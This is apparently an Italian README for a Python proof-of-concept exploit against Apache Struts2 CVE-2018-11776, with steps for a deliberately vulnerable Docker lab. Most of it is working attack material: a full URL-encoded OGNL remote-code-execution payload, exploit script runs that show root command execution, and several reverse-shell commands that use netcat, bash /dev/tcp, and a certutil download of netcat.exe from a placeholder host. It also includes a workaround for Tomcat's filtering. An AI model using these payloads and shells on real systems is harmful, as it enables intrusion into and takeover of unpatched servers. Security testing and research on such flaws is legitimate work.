
Test Python funzionante e PoC per CVE-2018-11776, include laboratorio Docker
hook-s3c (github.com/hook-s3c), @hook_s3c su twitter
Test funzionante in Python e PoC per CVE-2018-11776, originariamente apparso su; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC
Man Yue Mo di Semmle ha divulgato una vulnerabilità RCE in Struts2, veicolata in un payload codificato nel percorso URL di una richiesta.
Le versioni interessate sono 2.3 fino a 2.3.34 e 2.5 fino a 2.5.16.
La configurazione predefinita non è vulnerabile, ma se configurata male... F.
l'exploit funzionerà correttamente con il container docker costruito per cve-2017-5638 (struts2-showcase-2.3.12)
$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
aggiungi la configurazione qui sotto;
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
e anche;
<struts>
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
riavvia il tuo tomcat e/o container
$ /usr/local/tomcat/bin/shutdown.sh
testa l'url per vedere se avviene un reindirizzamento e una valutazione;
con lo script di test;
$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action
testing the url for exploit; http://0.0.0.0:32771/${12612+24867}/help.action
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable!
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id'
[Execute]: https://raw.githubusercontent.com/hook-s3c/cve-2018-11776-python-poc/master/id
[Url]: http://0.0.0.0:32771/$%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D=true).(%23cmd=%27id%27).(%23iswin=(@java.lang.System@getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds=(%23iswin%3F%7B%27cmd.exe%27,%27c%27,%23cmd%7D:%7B%27bash%27,%27-c%27,%23cmd%7D)).(%23p=new%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process=%23p.start()).(%23ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(%23process.getInputStream(),%23ros)).(%23ros.flush())%7D/help.action
uid=0(root) gid=0(root) groups=0(root)
prepara la tua macchina per accettare la shell inversa;
$ netcat -lvp 31337
esegui lo script;
# ti converrà installare netcat
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y'
# ora fai scattare quella shell
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337'
sostituisci 32771 con la porta esposta del tuo container
$ netcat -lvp 31337
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 "/bin/bash -i >& /dev/tcp/172.17.0.1/31337 0>&1"
# scarica il binario netcat
# https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'certutil.exe -urlcache -split -f "https://yourhostingservice.1337/files/netcat.exe" nc.exe'
# esegui
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'nc.exe 172.17.0.1 31337 –e cmd.exe'
Tutte le richieste con una barra in avanti (/) falliranno perché Tomcat le blocca attivamente, potresti dover aggirare questo problema, ad esempio usando variabili d'ambiente per /bin/bash come $SHELL nell'esempio sopra.
Con questo in mente, il flag /c di Windows non funzionerà come previsto. Ho testato solo sul container docker.
Grazie a @Menin_TheMiddle per aver mostrato che il problema della barra in avanti può essere risolto, il codice ora supporta le barre in avanti e quindi è ora possibile anche una shell inversa senza netcat tramite bash, e supporta anche istanze Windows (non testato).
Aggiorna il tuo Struts, o semplicemente non usarlo.
Immagino che tu possa sempre vendere prodotti antifrode se dovessi subire una violazione e tutti i dati dei tuoi clienti venissero divulgati! (sai chi sei, feccia assoluta)
Grazie a ;
un saluto a vap0rsquad!!! sH3llG0d - Willow - D@3M0¢π1 - n4t4s - 23pieces